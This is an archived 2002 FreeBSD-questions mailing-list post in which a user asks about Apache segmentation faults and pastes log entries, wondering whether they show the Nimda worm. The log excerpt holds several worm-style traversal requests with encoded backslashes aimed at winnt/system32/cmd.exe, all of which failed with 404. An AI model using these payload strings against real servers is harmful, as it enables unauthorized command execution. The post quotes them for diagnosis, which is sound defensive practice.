Date: Thu, 25 Apr 2002 18:37:33 -0700 From: Steve 1 <ukla@attbi.com> To: <freebsd-questions@FreeBSD.ORG> Subject: Seg Faults? Message-ID: <B8EDFD6D.29AC%ukla@attbi.com>
next in thread | raw e-mail | index | archive | help
Hey All,
Can anyone point me at documentation for this problem or advise ->
From /var/log/access.log
[Thu Apr 25 16:40:42 2002] [notice] child pid 490 exit
signal Segmentation fault (11)
Still occurs after reboot
Also excerpted from /var/log/access.log, is this the nimda worm?
TIA
Steve
<excerpt>
[Thu Apr 25 16:42:47 2002] [error] [client 63.199.24.219] File does not
exist: /
usr/home/scripts/..%5c../winnt/system32/cmd.exe
63.199.24.219 - - [25/Apr/2002:16:42:47 -0700] "GET
/scripts/..%255c../winnt/sys
tem32/cmd.exe?/c+dir HTTP/1.0" 404 232 "-" "-"
[Thu Apr 25 16:42:52 2002] [error] [client 63.199.24.219] File does not
exist: /
usr/home/_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe
63.199.24.219 - - [25/Apr/2002:16:42:52 -0700] "GET
/_vti_bin/..%255c../..%255c.
./..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 249 "-" "-"
[Thu Apr 25 16:42:58 2002] [error] [client 63.199.24.219] File does not
exist: /
usr/home/_mem_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe
63.199.24.219 - - [25/Apr/2002:16:42:58 -0700] "GET
/_mem_bin/..%255c../..%255c.
./..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 249 "-" "-"
[Thu Apr 25 16:43:03 2002] [error] [client 63.199.24.219] File does not
exist: /
usr/home/msadc/..%5c../..%5c../..%5c/..<C1>^\../..<C1>^\../..<C1>^\../winnt/
syst
em32/cmd.exe
63.199.24.219 - - [25/Apr/2002:16:43:03 -0700] "GET
/msadc/..%255c../..%255c../.
.%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0"
404 265 "-" "-"
[Thu Apr 25 16:43:08 2002] [error] [client 63.199.24.219] File does not
exist: /
usr/home/scripts/..<C1>^\../winnt/system32/cmd.exe
63.199.24.219 - - [25/Apr/2002:16:43:08 -0700] "GET
/scripts/..%c1%1c../winnt/sy
stem32/cmd.exe?/c+dir HTTP/1.0" 404 231 "-" "-"
</excerpt>
To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-questions" in the body of the message
Want to link to this message? Use this URL: <https://mail-archive.FreeBSD.org/cgi/mid.cgi?B8EDFD6D.29AC%ukla>